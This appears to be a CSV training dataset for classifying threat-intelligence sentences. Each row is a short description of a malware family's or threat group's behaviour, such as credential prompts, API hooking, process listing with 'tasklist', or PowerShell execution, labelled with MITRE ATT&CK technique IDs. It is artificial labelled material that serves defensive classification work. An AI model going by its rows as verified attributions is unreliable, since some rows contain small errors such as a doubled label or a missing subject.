"XCSSET prompts the user to input credentials using a native macOS dialog box leveraging the system process ""/Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment"".",['T1056.002 - Input Capture: GUI Input Capture'],fine_tune
iKitten prompts the user for their credentials.,['T1056.002 - Input Capture: GUI Input Capture'],fine_tune
"Empire contains some modules that leverage API hooking to carry out tasks, such as netripper.",['T1056.004 - Input Capture: Credential API Hooking'],fine_tune
NOKKI uses the Windows call SetWindowsHookEx and begins injecting it into every GUI process running on the victim's machine.,['T1056.004 - Input Capture: Credential API Hooking'],fine_tune
PLATINUM is capable of using Windows hook interfaces for information gathering such as credential access.,['T1056.004 - Input Capture: Credential API Hooking'],fine_tune
RDFSNIFFER hooks several Win32 API functions to hijack elements of the remote system management user-interface.,['T1056.004 - Input Capture: Credential API Hooking'],fine_tune
"TrickBot has the ability to capture RDP credentials by capturing the ""CredEnumerateA"" API",['T1056.004 - Input Capture: Credential API Hooking'],fine_tune
"Ursnif has hooked APIs to perform a wide variety of information theft, such as monitoring traffic from browsers.",['T1056.004 - Input Capture: Credential API Hooking'],fine_tune
"Zebrocy installs an application-defined Windows hook to get notified when a network drive has been attached, so it can then use the hook to call its RecordToFile file stealing method.",['T1056.004 - Input Capture: Credential API Hooking'],fine_tune
ZxShell hooks several API functions to spawn system threads.,['T1056.004 - Input Capture: Credential API Hooking'],fine_tune
4H RAT has the capability to obtain a listing of running processes (including loaded modules).,['T1057 - Process Discovery'],fine_tune
"APT1 gathered a list of running processes on the system using ""tasklist /v"".",['T1057 - Process Discovery'],fine_tune
APT29 has used multiple command-line utilities to enumerate running processes.,['T1057 - Process Discovery'],fine_tune
APT37's Freenki malware lists running processes using the Microsoft Windows API.,['T1057 - Process Discovery'],fine_tune
"APT38 leveraged Sysmon to understand the processes, services in the organization.",['T1057 - Process Discovery'],fine_tune
"After compromising a victim, Poseidon Group lists all running processes.",['T1057 - Process Discovery'],fine_tune
An APT28 loader Trojan will enumerate the victim's processes searching for explorer.exe if its current process does not have necessary permissions.,['T1057 - Process Discovery'],fine_tune
"Andariel has used ""tasklist"" to enumerate processes and find a specific string.",['T1057 - Process Discovery'],fine_tune
Aria-body has the ability to enumerate loaded modules for a process..,['T1057 - Process Discovery'],fine_tune
Astaroth searches for different processes on the system.,['T1057 - Process Discovery'],fine_tune
Avaddon has collected information about running processes.,['T1057 - Process Discovery'],fine_tune
Avenger has the ability to use Tasklist to identify running processes.,['T1057 - Process Discovery'],fine_tune
Azorult can collect a list of running processes by calling CreateToolhelp32Snapshot.,['T1057 - Process Discovery'],fine_tune
BACKSPACE may collect information about running processes.,['T1057 - Process Discovery'],fine_tune
BBSRAT can list running processes.,['T1057 - Process Discovery'],fine_tune
BISCUIT has a command to enumerate running processes and identify their owners.,['T1057 - Process Discovery'],fine_tune
BLACKCOFFEE has the capability to discover processes.,['T1057 - Process Discovery'],fine_tune
BLUELIGHT can collect process filenames and SID authority level.,['T1057 - Process Discovery'],fine_tune
Babuk has the ability to check running processes on a targeted system.,['T1057 - Process Discovery'],fine_tune
"BabyShark has executed the ""tasklist"" command.",['T1057 - Process Discovery'],fine_tune
Backdoor.Oldrea collects information about running processes.,['T1057 - Process Discovery'],fine_tune
Bad Rabbit can enumerate all running processes to compare hashes.,['T1057 - Process Discovery'],fine_tune
Bankshot identifies processes and collects the process ids.,['T1057 - Process Discovery'],fine_tune
Bazar can identity the current process on a compromised host.,['T1057 - Process Discovery'],fine_tune
Bisonal can obtain a list of running processes on the victim’s machine.,['T1057 - Process Discovery'],fine_tune
BlackEnergy has gathered a process list by using Tasklist.exe.,['T1057 - Process Discovery'],fine_tune
Brave Prince lists the running processes.,['T1057 - Process Discovery'],fine_tune
"Bundlore has used the ""ps"" command to list processes.",['T1057 - Process Discovery'],fine_tune
Cannon can obtain a list of processes running on the system.,['T1057 - Process Discovery'],fine_tune
Carbanak lists running processes.,['T1057 - Process Discovery'],fine_tune
Carberp has collected a list of running processes.,['T1057 - Process Discovery'],fine_tune
"Cardinal RAT contains watchdog functionality that ensures its process is always running, else spawns a new instance.",['T1057 - Process Discovery'],fine_tune
Caterpillar WebShell can gather a list of processes running on the machine.,['T1057 - Process Discovery'],fine_tune
ChChes collects its process identifier (PID) on the victim.,['T1057 - Process Discovery'],fine_tune
"Chimera has used ""tasklist"" to enumerate processes.",['T1057 - Process Discovery'],fine_tune
Clambling can enumerate processes on a targeted system.,['T1057 - Process Discovery'],fine_tune
Clop can enumerate all processes on the victim's machine.,['T1057 - Process Discovery'],fine_tune
"Cobalt Strike's ""beacon"" payload can collect information on process details.",['T1057 - Process Discovery'],fine_tune
Conti can enumerate through all open processes to search for any that have the string “sql” in their process name.,['T1057 - Process Discovery'],fine_tune
Crimson contains a command to list processes.,['T1057 - Process Discovery'],fine_tune
Cuba can enumerate processes running on a victim's machine.,['T1057 - Process Discovery'],fine_tune
DRATzarus can enumerate and examine running processes to determine if a debugger is present.,['T1057 - Process Discovery'],fine_tune
Dacls can collect data on running and parent processes.,['T1057 - Process Discovery'],fine_tune
Darkhotel malware can collect a list of running processes on a system.,['T1057 - Process Discovery'],fine_tune
Derusbi collects current and parent process IDs.,['T1057 - Process Discovery'],fine_tune
Doki has searched for the current process’s PID.,['T1057 - Process Discovery'],fine_tune
Donut includes subprojects that enumerate and identify information about Process Injection candidates.,['T1057 - Process Discovery'],fine_tune
Dtrack’s dropper can list all running processes.,['T1057 - Process Discovery'],fine_tune
"During C0015, the threat actors used the `tasklist /s` command as well as `taskmanager` to obtain a list of running processes.",['T1057 - Process Discovery'],fine_tune
"During Operation Honeybee, the threat actors obtained a list of running processes on a victim machine using `cmd /c tasklist > %temp%\temp.ini`.",['T1057 - Process Discovery'],fine_tune
"During Operation Wocao, the threat actors used `tasklist` to collect a list of running processes on an infected system.",['T1057 - Process Discovery'],fine_tune
DustySky collects information about running processes from victims.,['T1057 - Process Discovery'],fine_tune
"Elise enumerates processes via the ""tasklist"" command.",['T1057 - Process Discovery'],fine_tune
"Epic uses the ""tasklist /v"" command to obtain a list of processes.",['T1057 - Process Discovery'],fine_tune
EvilBunny has used EnumProcesses() to identify how many process are running in the environment.,['T1057 - Process Discovery'],fine_tune
FELIXROOT collects a list of running processes.,['T1057 - Process Discovery'],fine_tune
"Flagpro has been used to run the ""tasklist"" command on a compromised system.",['T1057 - Process Discovery'],fine_tune
FrameworkPOS can enumerate and exclude selected processes on a compromised host to speed execution of memory scraping.,['T1057 - Process Discovery'],fine_tune
"Frankenstein has enumerated hosts, looking to obtain a list of all currently running processes.",['T1057 - Process Discovery'],fine_tune
FruitFly has the ability to list processes on the system.,['T1057 - Process Discovery'],fine_tune
"FunnyDream has the ability to discover processes, including `Bka.exe` and `BkavUtil.exe`.",['T1057 - Process Discovery'],fine_tune
Fysbis can collect information about running processes.,['T1057 - Process Discovery'],fine_tune
Gamaredon Group has used tools to enumerate processes on target hosts including Process Explorer.,['T1057 - Process Discovery'],fine_tune
Gelsemium can enumerate running processes.,['T1057 - Process Discovery'],fine_tune
GeminiDuke collects information on running processes and environment variables from the victim.,['T1057 - Process Discovery'],fine_tune
Gold Dragon checks the running processes on the victim’s machine.,['T1057 - Process Discovery'],fine_tune
Goopy has checked for the Google Updater process to ensure Goopy was loaded properly.,['T1057 - Process Discovery'],fine_tune
Grandoreiro can identify installed security tools based on process names.,['T1057 - Process Discovery'],fine_tune
HALFBAKED can obtain information about running processes on the victim.,['T1057 - Process Discovery'],fine_tune
HELLOKITTY can search for specific processes to terminate.,['T1057 - Process Discovery'],fine_tune
HEXANE has enumerated processes on targeted systems.,['T1057 - Process Discovery'],fine_tune
Helminth has used Tasklist to get information on processes.,['T1057 - Process Discovery'],fine_tune
Heyoka Backdoor can gather process information.,['T1057 - Process Discovery'],fine_tune
Higaisa’s shellcode attempted to find the process ID of the current process.,['T1057 - Process Discovery'],fine_tune
"Honeybee gathers a list of processes using the ""tasklist"" command and then is sent back to the control server.",['T1057 - Process Discovery'],fine_tune
Hydraq creates a backdoor through which remote attackers can monitor processes.,['T1057 - Process Discovery'],fine_tune
Inception has used a reconnaissance module to identify active processes and other associated loaded modules.,['T1057 - Process Discovery'],fine_tune
InvisiMole can obtain a list of running processes.,['T1057 - Process Discovery'],fine_tune
"IronNetInjector can identify processes via C# methods such as ""GetProcessesByName"" and running Tasklist with the Python ""os.popen"" function.",['T1057 - Process Discovery'],fine_tune
Ixeshe can list running processes.,['T1057 - Process Discovery'],fine_tune
JHUHUGIT obtains a list of running processes on the victim.,['T1057 - Process Discovery'],fine_tune
Javali can monitor processes for open browsers and custom banking applications.,['T1057 - Process Discovery'],fine_tune
KEYMARBLE can obtain a list of running processes on the system.,['T1057 - Process Discovery'],fine_tune
"KONNI has used the command ""cmd /c tasklist"" to get a snapshot of the current processes on the target machine.",['T1057 - Process Discovery'],fine_tune
Kasidet has the ability to search for a given process name in processes currently running in the system.,['T1057 - Process Discovery'],fine_tune
"Ke3chang performs process discovery using ""tasklist"" commands.",['T1057 - Process Discovery'],fine_tune
Kimsuky can gather a list of all processes running on a victim's machine.,['T1057 - Process Discovery'],fine_tune
Kinsing has used ps to list processes.,['T1057 - Process Discovery'],fine_tune
"Kwampirs collects a list of running services with the command ""tasklist /v"".",['T1057 - Process Discovery'],fine_tune
LookBack can list running processes.,['T1057 - Process Discovery'],fine_tune
"LoudMiner used the ""ps"" command to monitor the running processes on the system.",['T1057 - Process Discovery'],fine_tune
Lucifer can identify the process that owns remote connections.,['T1057 - Process Discovery'],fine_tune
MacMa can enumerate running processes.,['T1057 - Process Discovery'],fine_tune
Machete has a component to check for running processes to look for web browsers.,['T1057 - Process Discovery'],fine_tune
Magic Hound malware can list running processes.,['T1057 - Process Discovery'],fine_tune
MarkiRAT can search for different processes on a system.,['T1057 - Process Discovery'],fine_tune
Maze has gathered all of the running system processes.,['T1057 - Process Discovery'],fine_tune
"Meteor can check if a specific process is running, such as Kaspersky's `avp.exe`.",['T1057 - Process Discovery'],fine_tune
MobileOrder has a command to upload information about all running processes to its C2 server.,['T1057 - Process Discovery'],fine_tune
"Mosquito runs ""tasklist"" to obtain running processes.",['T1057 - Process Discovery'],fine_tune
MuddyWater has used malware to obtain a list of running processes on the system.,['T1057 - Process Discovery'],fine_tune
"NavRAT uses ""tasklist /v"" to check running processes.",['T1057 - Process Discovery'],fine_tune
Nebulae can enumerate processes on a target system.,['T1057 - Process Discovery'],fine_tune
ObliqueRAT can check for blocklisted process names on a compromised host.,['T1057 - Process Discovery'],fine_tune
OceanSalt can collect the name and ID for every process running on the system.,['T1057 - Process Discovery'],fine_tune
"OilRig has run ""tasklist"" on a victim's machine.",['T1057 - Process Discovery'],fine_tune
Orz can gather a process list from the victim.,['T1057 - Process Discovery'],fine_tune
OutSteel can identify running processes on a compromised host.,['T1057 - Process Discovery'],fine_tune
P8RAT can check for specific processes associated with virtual environments.,['T1057 - Process Discovery'],fine_tune
"PLAINTEE performs the ""tasklist"" command to list running processes.",['T1057 - Process Discovery'],fine_tune
PLEAD has the ability to list processes on the compromised host.,['T1057 - Process Discovery'],fine_tune
POORAIM can enumerate processes.,['T1057 - Process Discovery'],fine_tune
"POWERSTATS has used ""get_tasklist"" to discover processes on the compromised host.",['T1057 - Process Discovery'],fine_tune
"POWRUNER may collect process information by running ""tasklist"" on a victim.",['T1057 - Process Discovery'],fine_tune
Pandora can monitor processes on a compromised host.,['T1057 - Process Discovery'],fine_tune
Pasam creates a backdoor through which remote attackers can retrieve lists of running processes.,['T1057 - Process Discovery'],fine_tune
PcShare can obtain a list of running processes on a compromised host.,['T1057 - Process Discovery'],fine_tune
Pillowmint can iterate through running processes every six seconds collecting a list of processes to capture from later.,['T1057 - Process Discovery'],fine_tune
PipeMon can iterate over the running processes to find a suitable injection target.,['T1057 - Process Discovery'],fine_tune
PlugX has a module to list the processes running on a machine.,['T1057 - Process Discovery'],fine_tune
PoetRAT has the ability to list all running processes.,['T1057 - Process Discovery'],fine_tune
PowerDuke has a command to list the victim's processes.,['T1057 - Process Discovery'],fine_tune
"PowerSploit's ""Get-ProcessTokenPrivilege"" Privesc-PowerUp module can enumerate privileges for a given process.",['T1057 - Process Discovery'],fine_tune
Proxysvc lists processes running on the system.,['T1057 - Process Discovery'],fine_tune
Pupy can list the running processes and get the process ID and parent process’s ID.,['T1057 - Process Discovery'],fine_tune
QakBot has the ability to check running processes.,['T1057 - Process Discovery'],fine_tune
RATANKBA lists the system’s processes.,['T1057 - Process Discovery'],fine_tune
ROKRAT can list the current running processes on the system.,['T1057 - Process Discovery'],fine_tune
RTM can obtain information about process integrity levels.,['T1057 - Process Discovery'],fine_tune
RainyDay can enumerate processes on a target system.,['T1057 - Process Discovery'],fine_tune
Ramsay can gather a list of running processes by using Tasklist.,['T1057 - Process Discovery'],fine_tune
Rising Sun can enumerate all running processes and process information on an infected machine.,['T1057 - Process Discovery'],fine_tune
Rocke can detect a running process's PID on the infected machine.,['T1057 - Process Discovery'],fine_tune
RogueRobin checks the running processes for evidence it may be running in a sandbox environment. It specifically enumerates processes for Wireshark and Sysinternals.,['T1057 - Process Discovery'],fine_tune
"Ryuk has called ""CreateToolhelp32Snapshot"" to enumerate all running processes.",['T1057 - Process Discovery'],fine_tune
SDBbot can enumerate a list of running processes on a compromised machine.,['T1057 - Process Discovery'],fine_tune
SHOTPUT has a command to obtain a process listing.,['T1057 - Process Discovery'],fine_tune
"SILENTTRINITY can enumerate processes, including properties to determine if they have the Common Language Runtime (CLR) loaded.",['T1057 - Process Discovery'],fine_tune
"SLOTHFULMEDIA has enumerated processes by ID, name, or privileges.",['T1057 - Process Discovery'],fine_tune
SUNBURST collected a list of process names that were hashed using a FNV-1a + XOR algorithm to check against similarly-hashed hardcoded blocklists.,['T1057 - Process Discovery'],fine_tune
"SUNSPOT monitored running processes for instances of ""MsBuild.exe"" by hashing the name of each running process and comparing it to the corresponding value ""0x53D525"". It also extracted command-line arguments and individual arguments from the running ""MsBuild.exe"" process to identify the directory path of the Orion software Visual Studio solution.",['T1057 - Process Discovery'],fine_tune
SYSCON has the ability to use Tasklist to list running processes.,['T1057 - Process Discovery'],fine_tune
Saint Bot has enumerated running processes on a compromised host to determine if it is running under the process name `dfrgui.exe`.,['T1057 - Process Discovery'],fine_tune
Seasalt has a command to perform a process listing.,['T1057 - Process Discovery'],fine_tune
ShadowPad has collected the PID of a malicious process.,['T1057 - Process Discovery'],fine_tune
ShimRatReporter listed all running processes on the machine.,['T1057 - Process Discovery'],fine_tune
Sidewinder has used tools to identify running processes on the victim's machine.,['T1057 - Process Discovery'],fine_tune
Skidmap has monitored critical processes to ensure resiliency.,['T1057 - Process Discovery'],fine_tune
Socksbot can list all running processes.,['T1057 - Process Discovery'],fine_tune
SodaMaster can search a list of running processes.,['T1057 - Process Discovery'],fine_tune
SoreFang can enumerate processes on a victim machine through use of Tasklist.,['T1057 - Process Discovery'],fine_tune
StrongPity can determine if a user is logged in by checking to see if explorer.exe is running.,['T1057 - Process Discovery'],fine_tune
"Sykipot may gather a list of running processes by running ""tasklist /v"".",['T1057 - Process Discovery'],fine_tune
"TAINTEDSCRIBE can execute ""ProcessList"" for process discovery.",['T1057 - Process Discovery'],fine_tune
TSCookie has the ability to list processes on the infected host.,['T1057 - Process Discovery'],fine_tune
TajMahal has the ability to identify running processes and associated plugins on an infected host.,['T1057 - Process Discovery'],fine_tune
Tasklist can be used to discover processes running on a system.,['T1057 - Process Discovery'],fine_tune
TeamTNT has searched for rival malware and removes it if found. TeamTNT has also searched for running processes containing the strings aliyun or liyun to identify machines running Alibaba Cloud Security tools.,['T1057 - Process Discovery'],fine_tune
The OsInfo function in Komplex collects a running process list.,['T1057 - Process Discovery'],fine_tune
The discovery modules used with Duqu can collect information on process details.,['T1057 - Process Discovery'],fine_tune
"ThiefQuest obtains a list of running processes using the function ""kill_unwanted"".",['T1057 - Process Discovery'],fine_tune
TrickBot uses module networkDll for process list discovery.,['T1057 - Process Discovery'],fine_tune
Trojan.Karagany can use Tasklist to collect a list of running tasks.,['T1057 - Process Discovery'],fine_tune
"Tropic Trooper is capable of enumerating the running processes on the system using ""pslist"".",['T1057 - Process Discovery'],fine_tune
UBoatRAT can list running processes on the system.,['T1057 - Process Discovery'],fine_tune
UNC2452 used multiple command-line utilities to enumerate running processes.,['T1057 - Process Discovery'],fine_tune
"USBferry can use ""tasklist"" to gather information about the process running on the infected system.",['T1057 - Process Discovery'],fine_tune
Ursnif has gathered information about running processes.,['T1057 - Process Discovery'],fine_tune
VERMIN can get a list of the processes and running tasks on the system.,['T1057 - Process Discovery'],fine_tune
WINERACK can enumerate processes.,['T1057 - Process Discovery'],fine_tune
WarzoneRAT can obtain a list of processes on a compromised host.,['T1057 - Process Discovery'],fine_tune
Windshift has used malware to enumerate active processes.,['T1057 - Process Discovery'],fine_tune
Winnti Group looked for a specific process running on infected servers.,['T1057 - Process Discovery'],fine_tune
Winnti for Windows can check if the explorer.exe process is responsible for calling its install function.,['T1057 - Process Discovery'],fine_tune
"Zebrocy uses the ""tasklist"" and ""wmic process get Capture, ExecutablePath"" commands to gather the processes running on the system.",['T1057 - Process Discovery'],fine_tune
Zeus Panda checks for running processes on the victim’s machine.,['T1057 - Process Discovery'],fine_tune
Zox has the ability to list processes.,['T1057 - Process Discovery'],fine_tune
"ZxShell has a command, ps, to obtain a listing of processes on the system.",['T1057 - Process Discovery'],fine_tune
ZxxZ has created a snapshot of running processes using `CreateToolhelp32Snapshot`.,['T1057 - Process Discovery'],fine_tune
down_new has the ability to list running processes on a compromised host.,['T1057 - Process Discovery'],fine_tune
gh0st RAT has the capability to list processes.,['T1057 - Process Discovery'],fine_tune
macOS.OSAMiner has used `ps ax | grep <name> | grep -v grep | ...` and `ps ax | grep -E...` to conduct process discovery.,['T1057 - Process Discovery'],fine_tune
njRAT can search a list of running processes for Tr.exe.,['T1057 - Process Discovery'],fine_tune
"yty gets an output of running processes using the ""tasklist"" command.",['T1057 - Process Discovery'],fine_tune
APT19 downloaded and launched code within a SCT file.,['T1059 - Command and Scripting Interpreter'],fine_tune
APT28 uses cmd.exe to execute commands and custom backdoors.,['T1059 - Command and Scripting Interpreter'],fine_tune
APT32 has used COM scriptlets to download Cobalt Strike beacons.,['T1059 - Command and Scripting Interpreter'],fine_tune
APT34 has used the command-line interface for execution.,['T1059 - Command and Scripting Interpreter'],fine_tune
APT37 has used Ruby scripts to execute payloads.,['T1059 - Command and Scripting Interpreter'],fine_tune
APT39 has utilized AutoIt and custom scripts to perform internal reconnaissance.,['T1059 - Command and Scripting Interpreter'],fine_tune
Astaroth spawns a CMD process to execute commands.,"['T1059 - Command and Scripting Interpreter', 'T1059.003 - Command and Scripting Interpreter: Windows Command Shell']",fine_tune
BRONZE BUTLER uses the command-line interface.,['T1059 - Command and Scripting Interpreter'],fine_tune
Bonadan can create bind and reverse shells on the infected system.,['T1059 - Command and Scripting Interpreter'],fine_tune
CHOPSTICK is capable of performing remote command execution.,['T1059 - Command and Scripting Interpreter'],fine_tune
Cobalt Group has used a JavaScript backdoor that is capable of launching cmd.exe to execute shell commands.,['T1059 - Command and Scripting Interpreter'],fine_tune
Denis can launch a remote shell to execute arbitrary commands on the victim’s machine.,"['T1059 - Command and Scripting Interpreter', 'T1059.003 - Command and Scripting Interpreter: Windows Command Shell']",fine_tune
Donut can generate shellcode outputs that execute via Ruby.,['T1059 - Command and Scripting Interpreter'],fine_tune
Dragonfly has used the command line for execution.,['T1059 - Command and Scripting Interpreter'],fine_tune
Emotet has used cmd.exe to run a PowerShell script.,"['T1059 - Command and Scripting Interpreter', 'T1059.003 - Command and Scripting Interpreter: Windows Command Shell']",fine_tune
Empire uses a command-line interface to interact with systems.,['T1059 - Command and Scripting Interpreter'],fine_tune
Exaramel for Windows has a command to launch a remote shell and executes commands on the victim’s machine.,"['T1059 - Command and Scripting Interpreter', 'T1059.003 - Command and Scripting Interpreter: Windows Command Shell']",fine_tune
"FIN6 has used scripting to iterate through a list of compromised PoS systems, copy data to a log file, and remove the original data files.",['T1059 - Command and Scripting Interpreter'],fine_tune
FIN7 used SQL scripts to help perform tasks on the victim's machine.,['T1059 - Command and Scripting Interpreter'],fine_tune
FIVEHANDS can receive a command line argument to limit file encryption to specified directories.,['T1059 - Command and Scripting Interpreter'],fine_tune
Fox Kitten has used a Perl reverse shell to communicate with C2.,['T1059 - Command and Scripting Interpreter'],fine_tune
Get2 has the ability to run executables with command-line arguments.,['T1059 - Command and Scripting Interpreter'],fine_tune
Imminent Monitor has a CommandPromptPacket and ScriptPacket module(s) for creating a remote shell and executing scripts.,['T1059 - Command and Scripting Interpreter'],fine_tune
Kessel can create a reverse shell between the infected host and a specified system.,['T1059 - Command and Scripting Interpreter'],fine_tune
Lazarus Group malware uses cmd.exe to execute commands on victims.,['T1059 - Command and Scripting Interpreter'],fine_tune
Malware used by Ke3chang can run commands on the command-line interface.,['T1059 - Command and Scripting Interpreter'],fine_tune
Matryoshka is capable of providing Meterpreter shell access.,['T1059 - Command and Scripting Interpreter'],fine_tune
"Molerats used various implants, including those built on .NET, on target machines.",['T1059 - Command and Scripting Interpreter'],fine_tune
MoonWind can execute commands via an interactive command shell.,['T1059 - Command and Scripting Interpreter'],fine_tune
OSX_OCEANLOTUS.D can run commands through a terminal on the victim’s machine.,['T1059 - Command and Scripting Interpreter'],fine_tune
OilRig has used the command-line interface for execution.,['T1059 - Command and Scripting Interpreter'],fine_tune
OilRig has used various types of scripting for execution.,['T1059 - Command and Scripting Interpreter'],fine_tune
P.A.S. Webshell has the ability to create reverse shells with Perl scripts.,['T1059 - Command and Scripting Interpreter'],fine_tune
PoetRAT has executed a Lua script through a Lua interpreter for Windows.,['T1059 - Command and Scripting Interpreter'],fine_tune
Several commands are supported by the Honeybee's implant via the command-line interface and there’s also a utility to execute any custom command on an infected endpoint.,['T1059 - Command and Scripting Interpreter'],fine_tune
SpeakUp uses Perl scripts.,['T1059 - Command and Scripting Interpreter'],fine_tune
Stealth Falcon malware uses WMI to script data collection and command execution on the victim.,['T1059 - Command and Scripting Interpreter'],fine_tune
TYPEFRAME can execute commands using a shell.,['T1059 - Command and Scripting Interpreter'],fine_tune
WINERACK can create a reverse shell that utilizes statically-linked Wine cmd.exe code to emulate Windows command prompt commands.,['T1059 - Command and Scripting Interpreter'],fine_tune
Whitefly has used a simple remote shell tool that will call back to the C2 server and wait for commands.,['T1059 - Command and Scripting Interpreter'],fine_tune
creates a backdoor through which remote attackers can open a command-line interface.,"['T1059 - Command and Scripting Interpreter', 'T1059 - Command and Scripting Interpreter']",fine_tune
gh0st RAT is able to open a remote shell to execute commands.,['T1059 - Command and Scripting Interpreter'],fine_tune
AADInternals is written and executed via PowerShell.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
APT19 used PowerShell commands to execute payloads.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
APT28 downloads and executes PowerShell scripts and performs PowerShell commands.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
"APT29 has used encoded PowerShell scripts uploaded to CozyCar installations to download and install SeaDuke. APT29 also used PowerShell to create new tasks on remote machines, identify configuration settings, evade defenses, exfiltrate data, and to execute other commands.",['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
"APT32 has used PowerShell-based tools, PowerShell one-liners, and shellcode loaders for execution.",['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
APT33 has utilized PowerShell to download files from the C2 server and run various scripts.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
APT38 has used PowerShell to execute commands and other operational tasks.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
AppleSeed has the ability to execute its payload via PowerShell.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
Aquatic Panda has downloaded additional scripts and executed Base64 encoded commands in PowerShell.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
AutoIt backdoor downloads a PowerShell script that decodes to a typical shellcode loader.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
BRONZE BUTLER has used PowerShell for execution.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
Bandook has used PowerShell loaders as part of execution.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
Bazar can execute a PowerShell script received from C2.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
BloodHound can use PowerShell to pull Active Directory information from the target environment.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
Blue Mockingbird has used PowerShell reverse TCP shells to issue interactive commands over a network connection.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
Bumblebee can use PowerShell for execution.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
CharmPower can use PowerShell for payload execution and C2 communication.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
Chimera has used PowerShell scripts to execute malicious payloads and the DSInternals PowerShell module to make use of Active Directory features.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
Cobalt Group has used powershell.exe to download and execute scripts.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
ComRAT has used PowerShell to load itself every time a user logs in to the system. ComRAT can execute PowerShell scripts loaded into memory or from the file system.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
ConnectWise can be used to execute PowerShell commands on target machines.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
CrackMapExec can execute PowerShell commands via WMI.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
"CreepySnail can use PowerShell for execution, including the cmdlets `Invoke-WebRequst` and `Invoke-Expression`.",['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
Cuba has been dropped onto systems and used for lateral movement via obfuscated PowerShell scripts.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
DarkVishnya used PowerShell to create shellcode loaders.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
DarkWatchman can execute PowerShell commands and has used PowerShell to execute a keylogger.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
Denis has a version written in PowerShell.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
DownPaper uses PowerShell for execution.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
Dragonfly 2.0 used PowerShell scripts for execution.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
Dragonfly has used PowerShell scripts for execution.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
"During Frankenstein, the threat actors used PowerShell to run a series of Base64-encoded commands that acted as a stager and enumerated hosts.",['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
"During Operation Wocao, threat actors used PowerShell on compromised systems.",['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
Earth Lusca has used PowerShell to execute commands.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
Egregor has used an encoded PowerShell command by a service created by Cobalt Strike for lateral movement.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
Ember Bear has used PowerShell to download and execute malicious code.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
Emotet has used Powershell to retrieve the malicious payload and download additional resources like Mimikatz.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
"Empire leverages PowerShell for the majority of its client-side agent tasks. Empire also contains the ability to conduct PowerShell remoting with the ""Invoke-PSRemoting"" module.",['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
FIN10 uses PowerShell for execution as well as PowerShell Empire to establish persistence.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
"FIN6 has used PowerShell to gain access to merchant's networks, and a Metasploit PowerShell module to download and execute shellcode and to set up a local listener.",['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
FIN7 used a PowerShell script to launch shellcode that retrieved an additional payload.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
FIN8's malicious spearphishing payloads are executed as PowerShell. FIN8 has also used PowerShell for lateral movement and credential access.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
Ferocious can use PowerShell scripts for execution.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
Fox Kitten has used PowerShell scripts to access credential data.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
"Frankenstein has used PowerShell to run a series of base64-encoded commands, that acted as a stager and enumerated hosts.",['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
GALLIUM used PowerShell for execution to assist in lateral movement as well as for dumping credentials stored on compromised machines.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
GOLD SOUTHFIELD has staged and executed PowerShell scripts on compromised hosts.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
Gamaredon Group has used obfuscated PowerShell scripts for staging.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
"HAFNIUM has used the Exchange Power Shell module ""Set-OabVirtualDirectoryPowerShell"" to export mailbox data.",['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
HAMMERTOSS is known to use PowerShell.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
HEXANE has used PowerShell-based tools and scripts for discovery and collection on compromised hosts.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
Inception has used PowerShell to execute malicious commands and payloads.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
Indrik Spider has used PowerShell Empire for execution of malware.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
JCry has used PowerShell to execute payloads.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
